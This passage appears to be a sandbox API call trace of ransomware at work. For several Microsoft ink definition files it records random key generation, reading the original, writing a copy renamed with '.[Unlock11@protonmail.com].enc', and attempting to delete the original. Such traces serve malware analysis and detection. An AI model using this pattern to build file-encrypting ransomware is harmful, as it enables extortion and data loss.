hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.738] GetLastError () returned 0x0 [0122.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.739] CloseHandle (hObject=0x3ac) returned 1 [0122.739] GetLastError () returned 0x0 [0122.739] GetCurrentThreadId () returned 0x9b0 [0122.739] GetLastError () returned 0x0 [0122.739] GetLastError () returned 0x0 [0122.739] CloseHandle (hObject=0x39c) returned 1 [0122.740] GetLastError () returned 0x0 [0122.740] GetCurrentThreadId () returned 0x9b0 [0122.740] GetLastError () returned 0x0 [0122.740] GetLastError () returned 0x0 [0122.740] GetLastError () returned 0x0 [0122.740] GetLastError () returned 0x0 [0122.740] GetLastError () returned 0x0 [0122.740] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0 [0122.740] GetLastError () returned 0x5 [0122.741] GetCurrentThreadId () returned 0x9b0 [0122.741] GetLastError () returned 0x5 [0122.741] GetLastError () returned 0x5 [0122.741] GetLastError () returned 0x5 [0122.741] GetLastError () returned 0x5 [0122.741] LocalFree (hMem=0x1053c70) returned 0x0 [0122.741] GetCurrentThreadId () returned 0x9b0 [0122.741] GetLastError () returned 0x5 [0122.742] GetLastError () returned 0x5 [0122.742] GetLastError () returned 0x5 [0122.742] GetLastError () returned 0x5 [0122.742] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpFilePart=0x9bada4*="ja-jp.xml") returned 0x4f [0122.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0122.743] GetCurrentThreadId () returned 0x9b0 [0122.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0122.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0122.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0122.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028260 [0122.743] GetLastError () returned 0x0 [0122.743] GetLastError () returned 0x0 [0122.743] GetLastError () returned 0x0 [0122.743] GetLastError () returned 0x0 [0122.743] GetCurrentThreadId () returned 0x9b0 [0122.743] GetLastError () returned 0x0 [0122.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0122.744] GetCurrentThreadId () returned 0x9b0 [0122.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028260 [0122.744] GetLastError () returned 0x0 [0122.744] GetLastError () returned 0x0 [0122.744] GetLastError () returned 0x0 [0122.744] GetLastError () returned 0x0 [0122.744] GetCurrentThreadId () returned 0x9b0 [0122.744] GetLastError () returned 0x0 [0122.744] GetLastError () returned 0x0 [0122.744] GetLastError () returned 0x0 [0122.745] GetLastError () returned 0x0 [0122.745] GetLastError () returned 0x0 [0122.745] GetCurrentThreadId () returned 0x9b0 [0122.745] GetLastError () returned 0x0 [0122.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0122.745] GetLastError () returned 0x0 [0122.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0122.745] GetLastError () returned 0x0 [0122.745] GetLastError () returned 0x0 [0122.745] GetLastError () returned 0x0 [0122.745] GetCurrentThreadId () returned 0x9b0 [0122.746] GetLastError () returned 0x0 [0122.746] GetCurrentThreadId () returned 0x9b0 [0122.746] GetLastError () returned 0x0 [0122.746] GetLastError () returned 0x0 [0122.746] GetLastError () returned 0x0 [0122.746] GetLastError () returned 0x0 [0122.746] GetCurrentThreadId () returned 0x9b0 [0122.746] GetLastError () returned 0x0 [0122.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0122.746] GetLastError () returned 0x0 [0122.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0122.747] GetLastError () returned 0x0 [0122.747] GetLastError () returned 0x0 [0122.747] GetLastError () returned 0x0 [0122.747] GetCurrentThreadId () returned 0x9b0 [0122.747] GetLastError () returned 0x0 [0122.747] GetLastError () returned 0x0 [0122.747] GetLastError () returned 0x0 [0122.747] GetLastError () returned 0x0 [0122.747] GetLastError () returned 0x0 [0122.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.748] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8)) returned 1 [0122.748] GetLastError () returned 0x0 [0122.748] GetCurrentThreadId () returned 0x9b0 [0122.748] GetLastError () returned 0x0 [0122.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0122.748] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0122.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0122.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0122.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0122.748] GetCurrentThreadId () returned 0x9b0 [0122.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028260 [0122.749] GetLastError () returned 0x0 [0122.749] GetLastError () returned 0x0 [0122.749] GetLastError () returned 0x0 [0122.749] GetLastError () returned 0x0 [0122.749] GetCurrentThreadId () returned 0x9b0 [0122.749] GetLastError () returned 0x0 [0122.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0122.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028260 [0122.749] GetCurrentThreadId () returned 0x9b0 [0122.750] GetLastError () returned 0x0 [0122.750] GetLastError () returned 0x0 [0122.750] GetLastError () returned 0x0 [0122.750] GetLastError () returned 0x0 [0122.750] GetCurrentThreadId () returned 0x9b0 [0122.750] GetLastError () returned 0x0 [0122.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0122.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0122.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0122.750] GetLastError () returned 0x0 [0122.750] GetLastError () returned 0x0 [0122.751] GetLastError () returned 0x0 [0122.751] GetLastError () returned 0x0 [0122.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0122.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a28 [0122.751] GetLastError () returned 0x0 [0122.751] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.751] GetFileType (hFile=0x39c) returned 0x1 [0122.751] GetLastError () returned 0x0 [0122.752] GetCurrentThreadId () returned 0x9b0 [0122.752] GetLastError () returned 0x0 [0122.752] GetFileType (hFile=0x39c) returned 0x1 [0122.752] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.752] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.752] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.752] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.752] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.752] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.752] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.753] GetLastError () returned 0x0 [0122.753] GetCurrentThreadId () returned 0x9b0 [0122.753] GetLastError () returned 0x0 [0122.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a28 | out: hHeap=0x2ad0000) returned 1 [0122.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0122.753] GetLastError () returned 0x0 [0122.753] GetLastError () returned 0x0 [0122.753] GetLastError () returned 0x0 [0122.753] GetLastError () returned 0x0 [0122.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b48 [0122.754] GetLastError () returned 0x0 [0122.754] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.754] GetFileType (hFile=0x3ac) returned 0x1 [0122.754] GetLastError () returned 0x0 [0122.754] GetCurrentThreadId () returned 0x9b0 [0122.755] GetLastError () returned 0x0 [0122.755] GetFileType (hFile=0x3ac) returned 0x1 [0122.755] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.755] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.755] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.755] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.755] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.755] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.755] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.755] GetLastError () returned 0x0 [0122.755] GetCurrentThreadId () returned 0x9b0 [0122.756] GetLastError () returned 0x0 [0122.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b48 | out: hHeap=0x2ad0000) returned 1 [0122.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0122.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.756] GetLastError () returned 0x0 [0122.756] GetLastError () returned 0x0 [0122.756] GetCurrentThreadId () returned 0x9b0 [0122.756] GetLastError () returned 0x0 [0122.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.757] GetLastError () returned 0x0 [0122.757] GetLastError () returned 0x0 [0122.757] GetCurrentThreadId () returned 0x9b0 [0122.757] GetLastError () returned 0x0 [0122.757] GetLastError () returned 0x0 [0122.840] GetLastError () returned 0x0 [0122.840] GetCurrentThreadId () returned 0x9b0 [0122.840] GetLastError () returned 0x0 [0122.840] GetCurrentThreadId () returned 0x9b0 [0122.840] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x4105) returned 0x36f8548 [0122.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a18 [0122.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4108) returned 0x35bc9f0 [0122.841] GetLastError () returned 0x0 [0122.841] GetLastError () returned 0x0 [0122.841] GetLastError () returned 0x0 [0122.841] GetLastError () returned 0x0 [0122.841] GetCurrentThreadId () returned 0x9b0 [0122.841] GetLastError () returned 0x0 [0122.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0122.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0122.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.841] GetLastError () returned 0x0 [0122.843] GetLastError () returned 0x0 [0122.843] GetCurrentThreadId () returned 0x9b0 [0122.843] GetLastError () returned 0x0 [0122.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0b00 | out: hHeap=0x2ad0000) returned 1 [0122.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc658 [0122.843] GetLastError () returned 0x0 [0122.843] GetLastError () returned 0x0 [0122.843] GetCurrentThreadId () returned 0x9b0 [0122.843] GetLastError () returned 0x0 [0122.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc658 | out: hHeap=0x2ad0000) returned 1 [0122.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.844] GetLastError () returned 0x0 [0122.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.844] CloseHandle (hObject=0x3ac) returned 1 [0122.844] GetLastError () returned 0x0 [0122.844] GetCurrentThreadId () returned 0x9b0 [0122.844] GetLastError () returned 0x0 [0122.844] GetLastError () returned 0x0 [0122.845] CloseHandle (hObject=0x39c) returned 1 [0122.845] GetLastError () returned 0x0 [0122.845] GetCurrentThreadId () returned 0x9b0 [0122.845] GetLastError () returned 0x0 [0122.845] GetCurrentThreadId () returned 0x9b0 [0122.845] GetLastError () returned 0x0 [0122.845] GetLastError () returned 0x0 [0122.845] GetLastError () returned 0x0 [0122.845] GetLastError () returned 0x0 [0122.845] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0 [0122.846] GetLastError () returned 0x5 [0122.846] GetCurrentThreadId () returned 0x9b0 [0122.846] GetLastError () returned 0x5 [0122.846] GetLastError () returned 0x5 [0122.846] GetLastError () returned 0x5 [0122.846] GetLastError () returned 0x5 [0122.846] LocalFree (hMem=0x1053c70) returned 0x0 [0122.846] GetLastError () returned 0x5 [0122.846] GetLastError () returned 0x5 [0122.847] GetLastError () returned 0x5 [0122.847] GetLastError () returned 0x5 [0122.847] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpFilePart=0x9bada4*="ko-kr.xml") returned 0x4f [0122.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0122.847] GetCurrentThreadId () returned 0x9b0 [0122.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0122.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0122.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0122.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028260 [0122.847] GetLastError () returned 0x0 [0122.847] GetLastError () returned 0x0 [0122.848] GetLastError () returned 0x0 [0122.848] GetLastError () returned 0x0 [0122.848] GetCurrentThreadId () returned 0x9b0 [0122.848] GetLastError () returned 0x0 [0122.848] GetCurrentThreadId () returned 0x9b0 [0122.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0122.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028260 [0122.848] GetLastError () returned 0x0 [0122.848] GetLastError () returned 0x0 [0122.848] GetLastError () returned 0x0 [0122.848] GetLastError () returned 0x0 [0122.849] GetCurrentThreadId () returned 0x9b0 [0122.849] GetLastError () returned 0x0 [0122.849] GetLastError () returned 0x0 [0122.849] GetLastError () returned 0x0 [0122.849] GetLastError () returned 0x0 [0122.849] GetLastError () returned 0x0 [0122.849] GetCurrentThreadId () returned 0x9b0 [0122.849] GetLastError () returned 0x0 [0122.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0122.849] GetCurrentThreadId () returned 0x9b0 [0122.849] GetLastError () returned 0x0 [0122.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0122.850] GetLastError () returned 0x0 [0122.850] GetLastError () returned 0x0 [0122.850] GetLastError () returned 0x0 [0122.850] GetCurrentThreadId () returned 0x9b0 [0122.850] GetLastError () returned 0x0 [0122.850] GetLastError () returned 0x0 [0122.850] GetLastError () returned 0x0 [0122.850] GetLastError () returned 0x0 [0122.850] GetLastError () returned 0x0 [0122.850] GetCurrentThreadId () returned 0x9b0 [0122.851] GetLastError () returned 0x0 [0122.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0122.947] GetLastError () returned 0x0 [0122.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0122.947] GetLastError () returned 0x0 [0122.948] GetLastError () returned 0x0 [0122.948] GetLastError () returned 0x0 [0122.948] GetCurrentThreadId () returned 0x9b0 [0122.948] GetLastError () returned 0x0 [0122.948] GetLastError () returned 0x0 [0122.948] GetLastError () returned 0x0 [0122.948] GetLastError () returned 0x0 [0122.948] GetLastError () returned 0x0 [0122.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.949] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9)) returned 1 [0122.949] GetLastError () returned 0x0 [0122.949] GetCurrentThreadId () returned 0x9b0 [0122.949] GetLastError () returned 0x0 [0122.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0122.949] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668854 | out: pbBuffer=0x3668854) returned 1 [0122.949] GetCurrentThreadId () returned 0x9b0 [0122.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0122.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0122.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0122.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028260 [0122.950] GetLastError () returned 0x0 [0122.950] GetLastError () returned 0x0 [0122.950] GetLastError () returned 0x0 [0122.950] GetLastError () returned 0x0 [0122.950] GetCurrentThreadId () returned 0x9b0 [0122.950] GetLastError () returned 0x0 [0122.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0122.950] GetCurrentThreadId () returned 0x9b0 [0122.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0122.951] GetLastError () returned 0x0 [0122.951] GetLastError () returned 0x0 [0122.951] GetLastError () returned 0x0 [0122.951] GetLastError () returned 0x0 [0122.951] GetCurrentThreadId () returned 0x9b0 [0122.951] GetLastError () returned 0x0 [0122.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0122.951] GetCurrentThreadId () returned 0x9b0 [0122.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0122.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0122.952] GetLastError () returned 0x0 [0122.952] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.952] GetFileType (hFile=0x39c) returned 0x1 [0122.952] GetCurrentThreadId () returned 0x9b0 [0122.952] GetFileType (hFile=0x39c) returned 0x1 [0122.952] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.953] GetCurrentThreadId () returned 0x9b0 [0122.953] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.955] GetFileType (hFile=0x3ac) returned 0x1 [0122.955] GetCurrentThreadId () returned 0x9b0 [0122.955] GetFileType (hFile=0x3ac) returned 0x1 [0122.955] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.955] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.955] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.956] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.956] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.956] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.956] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.956] GetCurrentThreadId () returned 0x9b0 [0122.956] GetCurrentThreadId () returned 0x9b0 [0122.956] GetCurrentThreadId () returned 0x9b0 [0122.958] GetCurrentThreadId () returned 0x9b0 [0122.958] GetCurrentThreadId () returned 0x9b0 [0122.958] GetCurrentThreadId () returned 0x9b0 [0122.959] GetCurrentThreadId () returned 0x9b0 [0122.959] GetCurrentThreadId () returned 0x9b0 [0122.960] CloseHandle (hObject=0x3ac) returned 1 [0122.960] GetCurrentThreadId () returned 0x9b0 [0122.960] CloseHandle (hObject=0x39c) returned 1 [0122.960] GetCurrentThreadId () returned 0x9b0 [0122.960] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0 [0122.961] GetCurrentThreadId () returned 0x9b0 [0122.961] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpFilePart=0x9bada4*="zh-changjei.xml") returned 0x55 [0122.961] GetCurrentThreadId () returned 0x9b0 [0122.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0122.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 